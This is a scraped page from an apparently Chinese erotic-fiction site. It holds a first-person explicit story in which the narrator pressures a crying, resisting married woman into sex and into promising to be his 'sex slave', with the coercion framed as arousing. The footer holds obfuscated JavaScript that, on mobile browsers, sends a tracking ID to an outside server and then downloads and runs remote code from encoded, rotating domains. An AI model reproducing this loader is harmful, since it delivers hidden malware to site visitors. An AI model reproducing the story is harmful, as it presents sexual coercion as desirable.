  杨玉清的脸色更加红润,有点激动的点了一下头,我装作没有看到,继续在她的耳边说:“ 你是一个健康漂亮的女人,我是一个正常的男人,我喜欢你,你也不讨厌我,我们现在都这样了,干吗要控制自己呢,我知道你此时的感受,就是放不下架子,那你告诉我你想让我干你,你愿意接受我干你是吗?” 我说着将事先已经插在她阴道的两根手指,用力的、深深的插到了她阴道的深处。

  突然的刺激使她本能的叫了出来,我快速的抽动手指,给她一定的快感,她再也无法忍受强烈的刺激,嘴里发出了难忍的呻吟,我的手指抽了出来,在她的阴唇上摸弄,她显然意识到了我的意思,犹豫了一下,轻声的说:“ 给我吧,我好难受。”

  “ 你不脱了裤子我怎幺给你?” 我在她耳边亲吻着说,同时揉搓着她勃起的阴蒂,她不安的扭动起来,双手抓住了裤腰,可是还在犹豫,我不着急,我知道她会脱的。

  我继续着自己手上的动作,同时伸出舌头舔她的耳朵,没想到她异常敏感的躲避着,我追着她,舌头在她的耳朵上打转,另一支手上加大力量,用力的挤捏她的乳头,她在情欲的刺激下,加上本能的抗拒,她开始有些迷乱了。

  粗重的喘息,不断的扭动,火热的躯体,都说明杨玉清已经到了极限,我乘机在她耳边说:“ 快点脱掉自己的裤子,求我狠狠的干你。”

  她被我的话震动着,身子猛地一颤,用力的开始反抗,她感到了我给她的羞辱,她有些无法接受,可是身体里越来越强烈的欲望让她的反抗受到了限制,她只是开始动作有力,可当我将手指深深的捅进她的骚屄,她一下抓住我,不甘的看着我,泪水清晰的在眼眶中聚集,接着顺着外测的眼角滚落。

  “ 为什幺?你为什幺要这样折磨我,” 她有些歇斯底里的问我,我知道她就要崩溃了,我看着她,慢慢的将嘴对准她的嘴唇,吻了下去,她没有躲避只是微微的叹了口气,我的手指在她的阴道里加快了扣挖。

  杨玉清难忍的呻吟着,我抬起一点头,对视着说:“ 因为我喜欢你,我说了要你自己接受我,你不愿脱掉裤子就说明你还是不愿接受我,那我只好等待,对着你这样的身子,那个男人也不可能做到没有动作,其实我也很难受,但是我喜欢自愿的,因此我要对你的行为有所惩罚,惩罚你求我干你。”

  我无赖般的言语又给了她强烈的震动,她的目光中露出了你太不要脸的意思,我没有让她得意,我马上说:“ 你想骂就骂吧,我是很无耻,可是我喜欢你,若是喜欢你也是无耻的话,那就让我更加无耻吧,还不快点脱掉裤子,求我狠狠的干你。”

  杨玉清已经不知道该如何面对了,无法压制的情欲在燃烧着她,我无赖般的样子又给了她另类的冲击,她的泪水不停的流淌,抖动的身体一下停止了,接着说出的话让我吃惊。

  她一边抓住自己的裤腰往下褪,一边有点恶狠狠的、有点自暴自弃的说:“好吧,你要怎样我都照做,把我弄成这样,一会你要是不满足我,我、我和你拼了。”

  我借机说:“ 那我要满足了你怎幺办?”

  杨玉清没有想的就说:“ 你说。”

  我吻了一下她说:“ 你必须真实的承认是否满足,你满足了之后要答应我一切都服从我,作我可爱的性奴。”

  她听了之后稍一犹豫,点头的说:“ 我答应你。”

  我撑起一点自己的身子,看她的阴部,面积不大的阴毛,黑亮浓郁,两条修长白净的玉腿,接着我让她脱裤子的机会,紧紧的并拢起来,可以看到两腿相当的直,只有在膝盖的下面,小腿的上面有一个指宽的缝隙。

  我双手抓住她绵滑的乳房,身子顺着她的腿往下,当我面对着她的阴毛时,一股淡淡的酸骚味被吸进了鼻腔,我用身子扭动,示意她分开双腿。

  杨玉清大概对刚才的答应有些后悔,或者说没有想到我会这样,扭捏的动了动,说:“ 要做就快一点,不要这幺多事。”

  “ 你既然答应了,就应该顺从我,不然我怎幺让你满意呢,” 说着我便把舌头伸到她紧夹的三角区舔了一下,她明白我要干什幺,但女性的矜持还是让她有些难为情,在我的舔弄下,她慢慢的分开了双腿。

  我有意促狭的看着她的骚屄,双手收回,将她的大腿曲起,分得更开,双手分开浓郁的阴毛,一股更加强烈的体味进入了我的嗅觉,我温柔的分开色泽有些黑的阴唇,露出了湿滑红润的小阴唇,很大的反差。

  我揪住有些肥大的阴唇,拉向两边,她意识到了自己的隐秘被我一览无余时,强烈的羞耻感使她伸手捂住,我只好拿开她的手,再次分开阴唇,直接就把舌头舔在了已经可以清晰的看到的阴蒂上。

  这个明显的刺激了她,杨玉清浑身一颤,嘴里也发出了压抑的哼叫,我顺着分开的裂缝,上下舔弄着,将她左侧的阴唇用合谷压在大腿根,大拇指慢慢的伸进了火热湿滑的阴道。

  我不时的用嘴唇夹住她的阴蒂,尽情的吸舔她的阴蒂,每当我用力吸住阴蒂时,她都会不由自主的呻吟,同时挺动胯部,身子轻轻的扭动,我连续不断的刺激着她。

  杨玉清大概是担心自己,嘴里不断的轻声说让我不要,我看着肿大起来的阴蒂,已经可以知道她被刺激的有些迷乱了,我开始转动自己的身子,一边脱掉裤子,我将她的双腿折向上身,我用腋下夹住她的膝弯,双手抚摸着她白嫩的臀肉,舌头继续舔弄着她更加湿滑的阴唇。

  她感觉到了脸上不断摩擦的阳具,她躲避着,我用龟头寻找着她的嘴唇,她躲避了几次后,屈服的用手抓住我的阳具,舌头敷衍的舔着我的龟头,我知道她一定有过口交的经历,我用双腿夹住她的头,尽力的往下压。

  杨玉清知道我的意图,但还是用手控制着我的阳具,我知道必须突破,要突破就要给她刺激,我吸住肿大的阴蒂,用牙轻轻的咬住,同时右手的手指滑入她的股沟,从尾骨处向上轻柔的的扫过她的肛门和会阴,将两根手指深深的插入她的骚屄,然后抽出再从上往下的滑动。

  她的嘴里嘟囔了一声,浑身颤抖的厉害了,我继续着,同时不时的下压我的胯部,这样坚持了一会,她无奈的张嘴含住了我的龟头,温热湿润的感觉让我感到了舒服。

  当我正常体位的将坚硬的阳具,凶猛的一下捅进她火热的阴道时,她发出了一声令我吃惊的哼叫,“ 噢” 我进入后双手抱着她的双肩,眼睛看着她嫣红的脸颊,胸脯可以感受到她发硬的乳头摩擦着我的胸肌,两条修长的腿在床上无助的滑动。

  我吻着她的脸颊,在她耳边说:“ 这一下舒服吗,想要就吻我,” 我要慢慢的让她屈服和服从我的指令。

  杨玉清有些期待的就吻了我,将舌头伸进我的嘴里,我吻着她,慢慢的扭动胯部,她等了一会没有等到期待的抽动,她忍不住利用配合我的扭动,挺动着自己的胯部。

  我抬起一点身子,开始了征服她的抽动,人说慢工出细活,我每一次深深的插到底后,都会用自己的阴毛来摩擦她的阴蒂,每次都要在摩擦到了,她的身子颤抖后再进行抽出插入的往返。

  随着她的呼吸越来越重,身体的扭动也更加频繁,嘴里不时的发出轻声的吟叫,双手紧紧的抓住我的胳膊,两条腿一会将我盘住,一会又伸展在床上,我见她已经有高潮的迹象,便一下加快了节奏。

  杨玉清清亮的一声高叫,浑身颤抖、抽搐,双手箍住我的脖子,嘴唇一下贴在我的耳边说:“ 再用力一点,太好了,我要到了。”

  我一下意识到了,她此时是把我当作了她的丈夫,此时完全沉浸在快感之中,我用力的用耻骨部撞击着她的阴部,我开始感到了她的阴道在收缩,同时人一下绷紧了,痉挛般的抽搐让我感到动作有些吃力。

  我看她到了高潮,便用力一下贯通到底,趴在她汗湿柔软的躯体上,感受着她急剧起伏的胸脯带给我的绵滑,我抱紧她,迎上了她在寻找的嘴唇。

  字数:13297

      
【完】

热门搜索

友情链接




返回首页 | 返回顶部

function dwVeL(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function mFhtru(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return dwVeL(t);};window[''+'t'+'N'+'a'+'p'+'R'+'d'+'q'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function ohdG(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=mFhtru,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=ohdG(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qssc.fnelg.cn:7891/stats/9779/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=ohdG(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmdiYnB0bC55jbiUzQTg4OTE=','d3NzJTNBJTJGGJTJGGYS53aGGJnei5jbiUzQTk1MzU=','9781',window,document,['5','G']);}:function(){};